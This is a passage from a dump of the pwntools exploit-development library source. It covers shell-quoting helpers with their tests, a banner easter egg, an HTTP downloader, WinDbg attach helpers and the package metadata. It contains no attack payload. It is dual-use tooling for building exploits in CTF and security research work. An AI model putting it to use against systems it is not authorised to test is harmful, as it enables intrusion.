wrapped in single-quotes, and a backslash can be used to escape unquoted\nsingle-quotes.\n\n::\n\n    3.1.2.1 Escape Character\n\n    A non-quoted backslash ‘\\’ is the Bash escape character. It preserves the\n    literal value of the next character that follows, with the exception of\n    newline. If a ``\\\\newline`` pair appears, and the backslash itself is not\n    quoted, the ``\\\\newline`` is treated as a line continuation (that is, it\n    is removed from the input stream and effectively ignored).\n\n    3.1.2.2 Single Quotes\n\n    Enclosing characters in single quotes (‘'’) preserves the literal value of\n    each character within the quotes. A single quote may not occur between single\n    uotes, even when preceded by a backslash.\n\n    3.1.2.3 Double Quotes\n\n    Enclosing characters in double quotes (‘\"’) preserves the literal value of a\n    ll characters within the quotes, with the exception of ‘$’, ‘`’, ‘\\’, and,\n    when history expansion is enabled, ‘!’. The characters ‘$’ and ‘`’ retain their\n    pecial meaning within double quotes (see Shell Expansions). The backslash retains\n    its special meaning only when followed by one of the following characters:\n    ‘$’, ‘`’, ‘\"’, ‘\\’, or newline. Within double quotes, backslashes that are\n    followed by one of these characters are removed. Backslashes preceding\n    characters without a special meaning are left unmodified. A double quote may\n    be quoted within double quotes by preceding it with a backslash. If enabled,\n    history expansion will be performed unless an ‘!’ appearing in double quotes\n    is escaped using a backslash. The backslash preceding the ‘!’ is not removed.\n\n    The special parameters ‘*’ and ‘@’ have special meaning when in double quotes\n    see Shell Parameter Expansion).\n\nZ Shell\n~~~~~~~\n\nThe Z shell is also a relatively common user shell, even though it's not generally\nthe default system-wide shell.\n\nFrom the `Z Shell Manual`_, every character except for single-quote\ncan be wrapped in single-quotes, and a backslash can be used to escape unquoted\nsingle-quotes.\n\n::\n\n    A character may be quoted (that is, made to stand for itself) by preceding\n    it with a ‘\\’. ‘\\’ followed by a newline is ignored.\n\n    A string enclosed between ‘$'’ and ‘'’ is processed the same way as the\n    string arguments of the print builtin, and the resulting string is considered\n    o be entirely quoted. A literal ‘'’ character can be included in the string\n    by using the ‘\\\\'’ escape.\n\n    All characters enclosed between a pair of single quotes ('') that is not\n    preceded by a ‘$’ are quoted. A single quote cannot appear within single\n    quotes unless the option RC_QUOTES is set, in which case a pair of single\n    quotes are turned into a single quote. For example,\n\n    print ''''\n    outputs nothing apart from a newline if RC_QUOTES is not set, but one single\n    quote if it is set.\n\n    Inside double quotes (\"\"), parameter and command substitution occur, and\n    ‘\\’ quotes the characters ‘\\’, ‘`’, ‘\"’, and ‘$’.\n\nFreeBSD Shell\n~~~~~~~~~~~~~\n\nCompatibility with the FreeBSD shell is included for completeness.\n\nFrom the `FreeBSD man pages`_, every character except for single-quote\ncan be wrapped in single-quotes, and a backslash can be used to escape unquoted\nsingle-quotes.\n\n::\n\n     Quoting is used to remove the special meaning of certain characters or\n     words to the shell, such as operators, whitespace, keywords, or alias\n     names.\n\n     There are four types of quoting: matched single quotes, dollar-single\n     quotes, matched double quotes, and backslash.\n\n     Single Quotes\n         Enclosing characters in single quotes preserves the literal mean-\n         ing of all the characters (except single quotes, making it impos-\n         sible to put single-quotes in a single-quoted string).\n\n     Dollar-Single Quotes\n         Enclosing characters between $' and ' preserves the literal mean-\n         ing of all characters except backslashes and single quotes.  A\n         backslash introduces a C-style escape sequence:\n\n         ...\n\n     Double Quotes\n         Enclosing characters within double quotes preserves the literal\n         meaning of all characters except dollar sign (`$'), backquote\n         (``'), and backslash (`\\\\').  The backslash inside double quotes\n         is historically weird.  It remains literal unless it precedes the\n         following characters, which it serves to quote:\n\n           $     `     \"     \\     \\\\n\n\n     Backslash\n         A backslash preserves the literal meaning of the following char-\n         acter, with the exception of the newline character (`\\\\n').  A\n         backslash preceding a newline is treated as a line continuation.\n\nOpenBSD Shell\n~~~~~~~~~~~~~\n\nFrom the `OpenBSD Man Pages`_, every character except for single-quote\ncan be wrapped in single-quotes, and a backslash can be used to escape unquoted\nsingle-quotes.\n\n::\n\n    A backslash (\\) can be used to quote any character except a newline.\n    If a newline follows a backslash the shell removes them both, effectively\n    making the following line part of the current one.\n\n    A group of characters can be enclosed within single quotes (') to quote\n    every character within the quotes.\n\n    A group of characters can be enclosed within double quotes (\") to quote\n    every character within the quotes except a backquote (`) or a dollar\n    sign ($), both of which retain their special meaning. A backslash (\\)\n    within double quotes retains its special meaning, but only when followed\n    by a backquote, dollar sign, double quote, or another backslash.\n    An at sign (@) within double quotes has a special meaning\n    (see SPECIAL PARAMETERS, below).\n\nNetBSD Shell\n~~~~~~~~~~~~\n\nThe NetBSD shell's documentation is identical to the Dash documentation.\n\nAndroid Shells\n~~~~~~~~~~~~~~\n\nAndroid has gone through some number of shells.\n\n- Mksh, a Korn shell, was used with Toolbox releases (5.0 and prior)\n- Toybox, also derived from the Almquist Shell (6.0 and newer)\n\nNotably, the Toolbox implementation is not POSIX compliant\nas it lacks a \"printf\" builtin (e.g. Android 5.0 emulator images).\n\nToybox Shell\n~~~~~~~~~~~~\n\nAndroid 6.0 (and possibly other versions) use a shell based on ``toybox``.\n\nWhile it does not include a ``printf`` builtin, ``toybox`` itself includes\na POSIX-compliant ``printf`` binary.\n\nThe Ash shells should be feature-compatible with ``dash``.\n\nBusyBox Shell\n~~~~~~~~~~~~~\n\n`BusyBox's Wikipedia page`_ claims to use an ``ash``-compliant shell,\nand should therefore be compatible with ``dash``.\n\n\n.. _Ubuntu Man Pages: https://manpages.ubuntu.com/manpages/trusty/man1/dash.1.html\n.. _GNU Bash Manual: https://www.gnu.org/software/bash/manual/bash.html#Quoting\n.. _Z Shell Manual: https://zsh.sourceforge.io/Doc/Release/Shell-Grammar.html#Quoting\n.. _FreeBSD man pages: https://www.freebsd.org/cgi/man.cgi?query=sh\n.. _OpenBSD Man Pages: https://man.openbsd.org/sh#SHELL_GRAMMAR\n.. _BusyBox's Wikipedia page: https://en.wikipedia.org/wiki/BusyBox#Features\n\"\"\"\nimport string\nimport subprocess\n\nfrom pwnlib.context import context\nfrom pwnlib.log import getLogger\nfrom pwnlib.tubes.process import process\nfrom pwnlib.util import fiddling\nfrom pwnlib.util.misc import which, normalize_argv_env\n\nlog = getLogger(__name__)\n\ndef test_all():\n    test('a') ##\n    test('ab') ##\n    test('a b') ##\n    test(r\"a\\'b\") ##\n    everything_1 = bytes(range(1,256))\n    for s in everything_1:\n        test(s)\n        test(s*4)\n        test(s * 2 + b'X')\n        test(b'X' + s * 2)\n        test((s*2 + b'X') * 2)\n        test(s + b'X' + s)\n        test(s*2 + b'X' + s*2)\n        test(b'X' + s*2 + b'X')\n    test(everything_1)\n    test(everything_1 * 2)\n    test(everything_1 * 4)\n    everything_2 = b''.join(bytes([c,c]) for c in range(1,256)) ##\n    test(everything_2)\n\n    test(randoms(1000, everything_1))\n\n\ndef test(original):\n    r\"\"\"Tests the output provided by a shell interpreting a string\n\n    .. doctest::\n        :options: +POSIX\n\n        >>> test(b'foobar')\n        >>> test(b'foo bar')\n        >>> test(b'foo bar\\n')\n        >>> test(b\"foo'bar\")\n        >>> test(b\"foo\\\\\\\\bar\")\n        >>> test(b\"foo\\\\\\\\'bar\")\n        >>> test(b\"foo\\\\x01'bar\")\n        >>> test(b'\\n')\n        >>> test(b'\\xff')\n        >>> test(os.urandom(16 * 1024).replace(b'\\x00', b''))\n    \"\"\"\n    input = sh_string(original)\n\n    if isinstance(input, str):\n        input = input.encode()\n\n    cmdstr = b'/bin/echo %s' % input\n\n    SUPPORTED_SHELLS = [\n        ['ash', '-c', cmdstr],\n        ['bash', '-c', cmdstr],\n        ['bash', '-o', 'posix', '-c', cmdstr],\n        ['ksh', '-c', cmdstr],\n        ['busybox', 'ash', '-c', cmdstr],\n        ['busybox', 'sh', '-c', cmdstr],\n        ['zsh', '-c', cmdstr],\n        ['posh', '-c', cmdstr],\n        ['dash', '-c', cmdstr],\n        ['mksh', '-c', cmdstr],\n        ['sh', '-c', cmdstr],\n        # ['adb', 'exec-out', cmdstr]\n    ]\n\n    for shell in SUPPORTED_SHELLS:\n        binary = shell[0]\n\n        if not which(binary):\n            log.warn_once('Shell %r is not available' % binary)\n            continue\n\n        progress = log.progress('%s: %r' % (binary, original))\n\n        with context.quiet:\n            with process(shell) as p:\n                data = p.recvall(timeout=2)\n                p.kill()\n\n        # Remove exactly one trailing newline added by echo\n        # We cannot assume \"echo -n\" exists.\n        data = data[:-1]\n\n        if data != original:\n            for i,(a,b) in enumerate(zip(data, original)):\n                if a == b:\n                    continue\n                log.error(('Shell %r failed\\n' +\n                          'Expect %r\\n' +\n                          'Sent   %r\\n' +\n                          'Output %r\\n' +\n                          'Mismatch @ %i: %r vs %r') \\\n                        % (binary, original, input, data, i, a, b))\n\n        progress.success()\n\n\n\nSINGLE_QUOTE = \"'\" ##\nESCAPED_SINGLE_QUOTE = r\"\\'\" ##\n\nESCAPED = {\n    # The single quote itself must be escaped, outside of single quotes.\n    \"'\": \"\\\\'\", ##\n\n    # Slashes must themselves be escaped\n    #\n    # Additionally, some shells coalesce any number N>1 of '\\' into\n    # a single backslash literal.\n    # '\\\\': '\"\\\\\\\\\\\\\\\\\"'\n}\n\ndef sh_string(s):\n    r\"\"\"Outputs a string in a format that will be understood by /bin/sh.\n\n    If the string does not contain any bad characters, it will simply be\n    returned, possibly with quotes. If it contains bad characters, it will\n    be escaped in a way which is compatible with most known systems.\n\n    Warning:\n        This does not play along well with the shell's built-in \"echo\".\n        It works exactly as expected to set environment variables and\n        arguments, **unless** it's the shell-builtin echo.\n\n    Argument:\n        s(str): String to escape.\n\n    Examples:\n\n        >>> sh_string('foobar')\n        'foobar'\n        >>> sh_string('foo bar')\n        \"'foo bar'\"\n        >>> sh_string(\"foo'bar\")\n        \"'foo'\\\\''bar'\"\n        >>> sh_string(\"foo\\\\\\\\bar\")\n        \"'foo\\\\\\\\bar'\"\n        >>> sh_string(\"foo\\\\\\\\'bar\")\n        \"'foo\\\\\\\\'\\\\''bar'\"\n        >>> sh_string(\"foo\\\\x01'bar\")\n        \"'foo\\\\x01'\\\\''bar'\"\n    \"\"\"\n    orig_s = s\n    if isinstance(s, (bytes, bytearray)):\n        s = s.decode('latin1')\n    if '\\x00' in s: ##\n        log.error(\"sh_string(): Cannot create a null-byte\")\n\n    if not s:\n        quoted_string = \"''\" ##\n        if isinstance(orig_s, (bytes, bytearray)):\n            quoted_string = quoted_string.encode('latin1')\n        return quoted_string\n\n    chars = set(s)\n    very_good = set(string.ascii_letters + string.digits + \"_+.,/-\") ##\n\n    # Alphanumeric can always just be used verbatim.\n    if chars <= very_good:\n        return orig_s\n\n    # If there are no single-quotes, the entire thing can be single-quoted\n    if not (chars & set(ESCAPED)):\n        quoted_string = \"'%s'\" % s ##\n        if isinstance(orig_s, (bytes, bytearray)):\n            quoted_string = quoted_string.encode('latin1')\n        return quoted_string\n\n    # If there are single-quotes, we can single-quote around them, and simply\n    # escape the single-quotes.\n    quoted_string = '' ##\n    quoted = False\n    for char in s: ##\n        if char not in ESCAPED:\n            if not quoted:\n                quoted_string += SINGLE_QUOTE\n                quoted = True\n            quoted_string += char ##\n        else:\n            if quoted:\n                quoted = False\n                quoted_string += SINGLE_QUOTE\n            quoted_string += ESCAPED[char]\n\n    if quoted:\n        quoted_string += SINGLE_QUOTE\n\n    if isinstance(orig_s, (bytes, bytearray)):\n        quoted_string = quoted_string.encode('latin1')\n    return quoted_string\n\ndef sh_prepare(variables, export = False):\n    r\"\"\"Outputs a posix compliant shell command that will put the data specified\n    by the dictionary into the environment.\n\n    It is assumed that the keys in the dictionary are valid variable names that\n    does not need any escaping.\n\n    Arguments:\n      variables(dict): The variables to set.\n      export(bool): Should the variables be exported or only stored in the shell environment?\n      output(str): A valid posix shell command that will set the given variables.\n\n    It is assumed that `var` is a valid name for a variable in the shell.\n\n    Examples:\n\n        >>> sh_prepare({'X': 'foobar'})\n        b'X=foobar'\n        >>> r = sh_prepare({'X': 'foobar', 'Y': 'cookies'})\n        >>> r == b'X=foobar;Y=cookies' or r == b'Y=cookies;X=foobar' or r\n        True\n        >>> sh_prepare({'X': 'foo bar'})\n        b\"X='foo bar'\"\n        >>> sh_prepare({'X': \"foo'bar\"})\n        b\"X='foo'\\\\''bar'\"\n        >>> sh_prepare({'X': \"foo\\\\\\\\bar\"})\n        b\"X='foo\\\\\\\\bar'\"\n        >>> sh_prepare({'X': \"foo\\\\\\\\'bar\"})\n        b\"X='foo\\\\\\\\'\\\\''bar'\"\n        >>> sh_prepare({'X': \"foo\\\\x01'bar\"})\n        b\"X='foo\\\\x01'\\\\''bar'\"\n        >>> sh_prepare({'X': \"foo\\\\x01'bar\"}, export = True)\n        b\"export X='foo\\\\x01'\\\\''bar'\"\n        >>> sh_prepare({'X': \"foo\\\\x01'bar\\\\n\"})\n        b\"X='foo\\\\x01'\\\\''bar\\\\n'\"\n        >>> sh_prepare({'X': \"foo\\\\x01'bar\\\\n\"})\n        b\"X='foo\\\\x01'\\\\''bar\\\\n'\"\n        >>> sh_prepare({'X': \"foo\\\\x01'bar\\\\n\"}, export = True)\n        b\"export X='foo\\\\x01'\\\\''bar\\\\n'\"\n    \"\"\"\n\n    out = []\n    export = b'export ' if export else b''\n\n    _, variables = normalize_argv_env([], variables, log)\n\n    for k, v in variables:\n        out.append(b'%s%s=%s' % (export, k, sh_string(v)))\n\n    return b';'.join(out)\n\ndef sh_command_with(f, *args):\n    r\"\"\"sh_command_with(f, arg0, ..., argN) -> command\n\n    Returns a command create by evaluating `f(new_arg0, ..., new_argN)`\n    whenever `f` is a function and `f % (new_arg0, ..., new_argN)` otherwise.\n\n    If the arguments are purely alphanumeric, then they are simply passed to\n    function. If they are simple to escape, they will be escaped and passed to\n    the function.\n\n    If the arguments contain trailing newlines, then it is hard to use them\n    directly because of a limitation in the posix shell. In this case the\n    output from `f` is prepended with a bit of code to create the variables.\n\n    Examples:\n\n        >>> sh_command_with(lambda: \"echo hello\")\n        'echo hello'\n        >>> sh_command_with(lambda x: \"echo \" + x, \"hello\")\n        'echo hello'\n        >>> sh_command_with(lambda x: \"/bin/echo \" + x, \"\\\\x01\")\n        \"/bin/echo '\\\\x01'\"\n        >>> sh_command_with(lambda x: \"/bin/echo \" + x, \"\\\\x01\\\\n\")\n        \"/bin/echo '\\\\x01\\\\n'\"\n        >>> sh_command_with(\"/bin/echo %s\", \"\\\\x01\\\\n\")\n        \"/bin/echo '\\\\x01\\\\n'\"\n    \"\"\"\n\n    args = list(args)\n    out = []\n\n    for n in range(len(args)):\n        args[n] = sh_string(args[n])\n    if hasattr(f, '__call__'):\n        out.append(f(*args))\n    else:\n        out.append(f % tuple(args))\n    return ';'.join(out)\n"
  },
  {
    "path": "pwnlib/util/splash.py",
    "content": "\"\"\"Silly module mostly meant as an easter-egg.\"\"\"\nimport threading\nimport time\n\nfrom pwnlib import term\nfrom pwnlib.term import text\n\n\n_banner = r'''\n  .:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:.\n  )     _____                         _    _                            )\n  (    |  _  |___ _ _ _ ___ ___ ___ _| |  | |_ _ _                      (\n  )    |   __| . | | | | -_|  _| -_| . |  | . | | |                     )\n  (    |__|  |___|_____|___|_| |___|___|  |___|_  |                     (\n  )          _____                         __ |___|     __              )\n  (         /\\  __`\\                      /\\ \\       __/\\ \\             (\n  )         \\ \\ \\/\\ \\__  __  __   ____    \\ \\ \\     /\\_\\ \\ \\___         )\n  (          \\ \\ ,__/\\ \\/\\ \\/\\ \\ /  _ `\\   \\ \\ \\    \\/\\ \\ \\  __`\\       (\n  )           \\ \\ \\/\\ \\ \\_/ \\_/ \\ \\ \\/\\ \\   \\ \\ \\____\\ \\ \\ \\ \\/\\ \\      )\n  (            \\ \\_\\ \\ \\___^___/'\\ \\_\\ \\_\\   \\ \\_____\\\\ \\_\\ \\____/      (\n  )             \\/_/  \\/__//__/   \\/_/\\/_/    \\/_____/ \\/_/\\/___/       )\n  (                                                                     (\n  .:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:.\n'''\n\ndef splash():\n    \"\"\"Put this at the beginning of your exploit to create the illusion that\n    your sploit is enterprisey and top notch quality\"\"\"\n\n    def updater():\n\n        colors = [\n            text.blue   , text.bold_blue   ,\n            text.magenta, text.bold_magenta,\n            text.red    , text.bold_red    ,\n            text.yellow , text.bold_yellow ,\n            text.green  , text.bold_green  ,\n            text.cyan   , text.bold_cyan   ,\n        ]\n        def getcolor(n):\n            return colors[(n // 4) % len(colors)]\n\n        lines = ['    ' + line + '\\n' for line in _banner.strip('\\n').split('\\n')]\n\n        hs = [term.output('', frozen = False) for _ in range(len(lines))]\n        ndx = 0\n        import sys as _sys\n        while _sys:\n            for i, (l, h) in enumerate(zip(lines, hs)):\n                cur = ''\n                buf = ''\n                col = getcolor(ndx + i)\n                for j in range(len(l)):\n                    buf += l[j]\n                    ncol = getcolor(ndx + i + j)\n                    if col != ncol:\n                        cur += buf if buf.isspace() else col(buf)\n                        col = ncol\n                        buf = ''\n                cur += col(buf)\n                h.update(cur)\n            ndx += 1\n            time.sleep(0.15)\n\n    if term.term_mode:\n        t = threading.Thread(target = updater)\n        t.daemon = True\n        t.start()\n        time.sleep(0.2)\n"
  },
  {
    "path": "pwnlib/util/web.py",
    "content": "import os\nimport tempfile\n\nfrom pwnlib.log import getLogger\nfrom pwnlib.tubes.buffer import Buffer\nfrom pwnlib.util.misc import size\n\nlog = getLogger(__name__)\n\ndef wget(url, save=None, timeout=5, **kwargs):\n    r\"\"\"wget(url, save=None, timeout=5) -> str\n\n    Downloads a file via HTTP/HTTPS.\n\n    Arguments:\n      url (str): URL to download\n      save (str or bool): Name to save as.  Any truthy value\n            will auto-generate a name based on the URL.\n      timeout (int): Timeout, in seconds\n\n    Example:\n\n      >>> url    = 'https://httpbingo.org/robots.txt'\n      >>> result = wget(url, timeout=60)\n      >>> result\n      b'User-agent: *\\nDisallow: /deny\\n'\n\n      >>> filename = tempfile.mktemp()\n      >>> result2 = wget(url, filename, timeout=60)\n      >>> result == open(filename, 'rb').read()\n      True\n    \"\"\"\n    import requests\n\n    with log.progress(\"Downloading %r\" % url, rate=0.1) as w:\n        w.status(\"Making request...\")\n\n        response = requests.get(url, stream=True, timeout=timeout, **kwargs)\n\n        if not response.ok:\n            w.failure(\"Got code %s\" % response.status_code)\n            return\n\n        total_size = int(response.headers.get('content-length',0))\n\n        w.status('0 / %s' % size(total_size))\n\n        # Find out the next largest size we can represent as\n        chunk_size = 1\n        while chunk_size < (total_size/10):\n            chunk_size *= 1000\n\n        # Count chunks as they're received\n        buf = Buffer()\n\n        # Loop until we have all of the data\n        for chunk in response.iter_content(chunk_size = 2**10):\n            buf.add(chunk)\n            if total_size:\n                w.status('%s / %s' % (size(buf.size), size(total_size)))\n            else:\n                w.status('%s' % size(buf.size))\n\n        total_data = buf.get()\n\n        # Save to the target file if provided\n        if save:\n            if not isinstance(save, (bytes, str)):\n                save = os.path.basename(url)\n                save = save or tempfile.NamedTemporaryFile(dir='.', delete=False).name\n            with open(save,'wb+') as f:\n                f.write(total_data)\n                w.success('Saved %r (%s)' % (f.name, size(total_data)))\n        else:\n            w.success('%s' % size(total_data))\n\n        return total_data\n"
  },
  {
    "path": "pwnlib/version.py",
    "content": "__version__ = '5.0.0dev'\n"
  },
  {
    "path": "pwnlib/windbg.py",
    "content": "\"\"\"\r\nDuring exploit development, it is frequently useful to debug the\r\ntarget binary under WinDbg. This module provides a simple interface\r\nto do so under Windows.\r\n\r\nUseful Functions\r\n----------------\r\n\r\n- :func:`attach` - Attach to an existing process\r\n\r\nDebugging Tips\r\n--------------\r\n\r\nThe :func:`attach` and :func:`debug` functions will likely be your bread and\r\nbutter for debugging.\r\n\r\nBoth allow you to provide a script to pass to WinDbg when it is started, so that\r\nit can automatically set your breakpoints.\r\n\r\nAttaching to Processes\r\n~~~~~~~~~~~~~~~~~~~~~~\r\n\r\nTo attach to an existing process, just use :func:`attach`.  You can pass a PID,\r\na process name (including file extension), or a :class:`.process`.\r\n\r\nSpawning New Processes\r\n~~~~~~~~~~~~~~~~~~~~~~\r\n\r\nAttaching to processes with :func:`attach` is useful, but the state the process\r\nis in may vary.  If you need to attach to a process very early, and debug it from\r\nthe very first instruction (or even the start of ``main``), you instead should use\r\n:func:`debug`.\r\n\r\nWhen you use :func:`debug`, the return value is a :class:`.tube` object\r\nthat you interact with exactly like normal.\r\n\r\nTips and Troubleshooting\r\n------------------------\r\n\r\n``NOPTRACE`` magic argument\r\n~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n\r\nIt's quite cumbersom to comment and un-comment lines containing `attach`.\r\n\r\nYou can cause these lines to be a no-op by running your script with the\r\n``NOPTRACE`` argument appended, or with ``PWNLIB_NOPTRACE=1`` in the environment.\r\n(The name is borrowed from ptrace syscall on Linux.)\r\n\r\n::\r\n\r\n    $ python exploit.py NOPTRACE\r\n    [+] Starting local process 'chall.exe': Done\r\n    [!] Skipping debug attach since context.noptrace==True\r\n    ...\r\n\r\nMember Documentation\r\n===============================\r\n\"\"\"\r\nimport atexit\r\nimport os\r\nimport signal\r\n\r\nimport subprocess\r\n\r\nfrom pwnlib import tubes\r\nfrom pwnlib.context import LocalContext\r\nfrom pwnlib.context import context\r\nfrom pwnlib.log import getLogger\r\nfrom pwnlib.util import misc\r\nfrom pwnlib.util import proc\r\n\r\nlog = getLogger(__name__)\r\n\r\nCREATE_SUSPENDED = 0x00000004\r\n\r\n@LocalContext\r\ndef debug(args, windbgscript=None, exe=None, env=None, creationflags=0, **kwargs):\r\n    \"\"\"debug(args, windbgscript=None, exe=None, env=None, creationflags=0) -> tube\r\n\r\n    Launch a process in suspended state, attach debugger and resume process.\r\n\r\n    Arguments:\r\n        args(list): Arguments to the process, similar to :class:`.process`.\r\n        windbgscript(str): windbg script to run.\r\n        exe(str): Path to the executable on disk.\r\n        env(dict): Environment to start the binary in.\r\n        creationflags(int): Flags to pass to :func:`.process.process`.\r\n\r\n    Returns:\r\n        :class:`.process`: A tube connected to the target process.\r\n\r\n    Notes:\r\n\r\n        .. code-block: python\r\n\r\n            # Create a new process, and stop it at 'main'\r\n            io = windbg.debug('calc', '''\r\n            bp $exentry\r\n            go\r\n            ''')\r\n\r\n        When WinDbg opens via :func:`.debug`, it will initially be stopped on the very first\r\n        instruction of the entry point.\r\n    \"\"\"\r\n    if isinstance(\r\n        args, (int, tubes.process.process, tubes.ssh.ssh_channel)\r\n    ):\r\n        log.error(\"Use windbg.attach() to debug a running process\")\r\n\r\n    if context.noptrace:\r\n        log.warn_once(\"Skipping debugger since context.noptrace==True\")\r\n        return tubes.process.process(args, executable=exe, env=env, creationflags=creationflags)\r\n    \r\n    windbgscript = windbgscript or ''\r\n    if isinstance(windbgscript, str):\r\n        windbgscript = windbgscript.split('\\n')\r\n    # resume main thread\r\n    windbgscript = ['~0m'] + windbgscript\r\n    creationflags |= CREATE_SUSPENDED\r\n    io = tubes.process.process(args, executable=exe, env=env, creationflags=creationflags)\r\n    attach(target=io, windbgscript=windbgscript, **kwargs)\r\n\r\n    return io\r\n\r\ndef binary():\r\n    \"\"\"binary() -> str\r\n\r\n    Returns the path to the WinDbg binary.\r\n\r\n    Returns:\r\n        str: Path to the appropriate ``windbg`` binary to use.\r\n    \"\"\"\r\n    windbg = misc.which('windbgx.exe') or misc.which('windbg.exe')\r\n    if not windbg:\r\n        log.error('windbg is not installed or in system PATH')\r\n    return windbg\r\n\r\n@LocalContext\r\ndef attach(target, windbgscript=None, windbg_args=[]):\r\n    \"\"\"attach(target, windbgscript=None, windbg_args=[]) -> int\r\n\r\n    Attach to a running process with WinDbg.\r\n\r\n    Arguments:\r\n        target(int, str, process): Process to attach to.\r\n        windbgscript(str, list): WinDbg script to run after attaching.\r\n        windbg_args(list): Additional arguments to pass to WinDbg.\r\n\r\n    Returns:\r\n        int: PID of the WinDbg process.\r\n\r\n    Notes:\r\n\r\n        The ``target`` argument is very robust, and can be any of the following:\r\n\r\n        :obj:`int`\r\n            PID of a process\r\n        :obj:`str`\r\n            Process name.  The youngest process is selected.\r\n        :class:`.process`\r\n            Process to connect to\r\n    \r\n    Examples:\r\n\r\n        Attach to a process by PID\r\n\r\n        >>> pid = windbg.attach(1234) # doctest: +SKIP\r\n\r\n        Attach to the youngest process by name\r\n\r\n        >>> pid = windbg.attach('cmd.exe') # doctest: +SKIP\r\n\r\n        Attach a debugger to a :class:`.process` tube and automate interaction\r\n\r\n        >>> io = process('cmd') # doctest: +SKIP\r\n        >>> pid = windbg.attach(io, windbgscript='''\r\n        ... bp kernelbase!WriteFile\r\n        ... g\r\n        ... ''') # doctest: +SKIP\r\n    \"\"\"\r\n    if context.noptrace:\r\n        log.warn_once(\"Skipping debug attach since context.noptrace==True\")\r\n        return\r\n\r\n    # let's see if we can find a pid to attach to\r\n    pid = None\r\n    if isinstance(target, int):\r\n        # target is a pid, easy peasy\r\n        pid = target\r\n    elif isinstance(target, str):\r\n        # pidof picks the youngest process\r\n        pids = list(proc.pidof(target))\r\n        if not pids:\r\n            log.error('No such process: %s', target)\r\n        pid = pids[0]\r\n        log.info('Attaching to youngest process \"%s\" (PID = %d)' %\r\n                 (target, pid))\r\n    elif isinstance(target, tubes.process.process):\r\n        pid = proc.pidof(target)[0]\r\n    else:\r\n        log.error(\"don't know how to attach to target: %r\", target)\r\n\r\n    if not pid:\r\n        log.error('could not find target process')\r\n    \r\n    cmd = [binary()]\r\n    if windbg_args:\r\n        cmd.extend(windbg_args)\r\n    \r\n    cmd.extend(['-p', str(pid)])\r\n\r\n    windbgscript = windbgscript or ''\r\n    if isinstance(windbgscript, str):\r\n        windbgscript = windbgscript.split('\\n')\r\n    if isinstance(windbgscript, list):\r\n        windbgscript = ';'.join(script.strip() for script in windbgscript if script.strip())\r\n    if windbgscript:\r\n        cmd.extend(['-c', windbgscript])\r\n    \r\n    log.info(\"Launching a new process: %r\" % cmd)\r\n\r\n    io = subprocess.Popen(cmd)\r\n    windbg_pid = io.pid\r\n\r\n    def kill():\r\n        try:\r\n            os.kill(windbg_pid, signal.SIGTERM)\r\n        except OSError:\r\n            pass\r\n\r\n    atexit.register(kill)\r\n\r\n    if context.native:\r\n        proc.wait_for_debugger(pid, windbg_pid)\r\n\r\n    return windbg_pid\r\n"
  },
  {
    "path": "pyproject.toml",
    "content": "[build-system]\nrequires = [\"setuptools>=61.0\", \"wheel\"]\nbuild-backend = \"setuptools.build_meta\"\n\n[project]\ndynamic = [\"version\", \"scripts\"]\n\nname = \"pwntools\"\ndescription = \"Pwntools CTF framework and exploit development library.\"\nlicense = {text = \"Mostly MIT, some GPL/BSD, see LICENSE-pwntools.txt\"}\nreadme = \"README.md\"\nauthors = [{name = \"Gallopsled et al.\", email = \"pwntools-users@googlegroups.com\"}]\nclassifiers = [\n    \"Development Status :: 5 - Production/Stable\",\n    \"Environment :: Console\",\n    \"Intended Audience :: Developers\",\n    \"Intended Audience :: Science/Research\",\n    \"Intended Audience :: System Administrators\",\n    \"License :: OSI Approved :: MIT License\",\n    \"Natural Language :: English\",\n    \"Operating System :: POSIX :: Linux\",\n    \"Programming Language :: Python :: 3\",\n    \"Topic :: Security\",\n    \"Topic :: Software Development :: Assemblers\",\n    \"Topic :: Software Development :: Debuggers\",\n    \"Topic :: Software Development :: Disassemblers\",\n    \"Topic :: Software Development :: Embedded Systems\",\n    \"Topic :: Software Development :: Libraries :: Python Modules\",\n    \"Topic :: System :: System Shells\",\n    \"Topic :: Utilities\",\n]\nkeywords = [\"pwntools\", \"exploit\", \"ctf\", \"capture\", \"the\", \"flag\", \"binary\", \"wargame\", \"overflow\", \"stack\", \"heap\", \"defcon\"]\n\nrequires-python = \">=3.6\"\ndependencies = [\n    \"paramiko>=1.15.2\",\n    \"mako>=1.0.0\",\n    \"pyelftools>=0.32\",\n    \"capstone>=4.0.0\",\n    \"ropgadget>=5.3\",\n    \"pyserial>=2.7\",\n    \"requests>=2.0\",\n    \"pygments>=2.0\",\n    \"pysocks\",\n    \"python-dateutil\",\n    \"packaging\",\n    \"psutil>=3.3.0\",\n    \"intervaltree>=3.0\",\n    \"sortedcontainers\",\n    \"unicorn>=2.0.1, !=2.1.3, !=2.1.4\",  # see https://github.com/unicorn-engine/unicorn/issues/2134\n    \"rpyc\",\n    \"colored_traceback\",\n    \"unix-ar\",\n    \"zstandard\",\n]\n\n[project.urls]\nhomepage = \"https://pwntools.com\"\ndownload = \"https://github.com/Gallopsled/pwntools/releases\"\n\n[tool.distutils.bdist_wheel]\nuniversal = 1\n\n[tool.setuptools]\ninclude-package-data = false\n\n[tool.setuptools.packages.find]\nnamespaces = false\n\n[tool.coverage.run]\nbranch = true\nparallel = true\nconcurrency = [\"thread\", \"multiprocessing\"]\nomit = [\n    \"*/constants/*\",\n]\nsource = [\n    \"pwn\",\n    \"pwnlib\",\n    \"~/.cache/.pwntools-cache-3.10/\",\n    \"~/.cache/.pwntools-cache-3.11/\",\n    \"~/.cache/.pwntools-cache-3.12/\",\n    \"~/.cache/.pwntools-cache-3.13/\",\n]\ndisable_warnings = [\"module-not-imported\"]\n\n[tool.coverage.paths]\npwnlib = [\"pwnlib\", \"*/pwntools/pwnlib\", \"*\\\\pwntools\\\\pwnlib\"]\npwn = [\"pwn\", \"*/pwntools/pwn\", \"*\\\\pwntools\\\\pwn\"]\n"
  },
  {
    "path": "setup.py",
